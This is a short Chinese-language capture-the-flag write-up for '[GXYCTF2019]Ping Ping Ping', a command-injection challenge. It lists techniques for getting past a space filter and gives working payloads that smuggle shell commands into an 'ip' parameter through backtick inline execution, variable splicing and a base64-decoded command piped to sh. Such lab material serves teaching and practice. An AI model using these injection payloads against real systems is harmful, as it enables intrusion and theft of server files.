题目:[GXYCTF2019]Ping Ping Ping
这道题考察的是命令执行以及绕过的内容
首先这个题目没给什么信息,仅有一个ip=,可以看出这是个命令执行的题目,通过构建/?ip=127.0.0.1|ls的payload抓包发现这个页面下含有两个文件’index.php’以及’flag.php’。
尝试利用cat去获
取flag,发现存在空格的过滤
通过命令绕过空格的一般方法有
{cat,flag.txt}
cat $ {IFS}flag.txt
cat $ IFS $ 9flag.txt
cat $ IFS $ 1flag.txt
cat<flag.txt
%09替换
cat<>flag.txt
kg= $ ‘\x20flag.txt’&&cat$kg
这里利用cat$IFS$1flag.php试试,发现依旧存在问题
利用相同的方法去查询index.php文件,发现flag也被过滤了
一、内联绕过
在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么`ls`就代表了index.php这个文件。于是可以考虑利用cat命令去获取该文件的内容
/?ip=127.0.0.1;cat$IFS$1`ls`
二、变量拼接
既然flag整个不能输入那就差分成两个部分,a=fl,b=ag
/?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php
好好好,你这么过滤是吧,再来,只设置b=ag看看
/?ip=127.0.0.1;b=ag;cat$IFS$9fl$b.php
三、编码
遇到过滤不要怕,我们可以通过编码去绕过,利用base64在线加密的方式去加密我们的payload,再通过base -d解密,后跟一个sh作为shell解释器
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
当然其他的方法如:f\l\a\g这种试过,发现也被过滤了
总结:命令行执行首先要灵活运用cat、ls、sh等命令去实现文件内容的查询,绕过需要掌握编码(最简单),变量拼接,内联法去绕过过滤的内容,同时需要记住绕过空格的方法!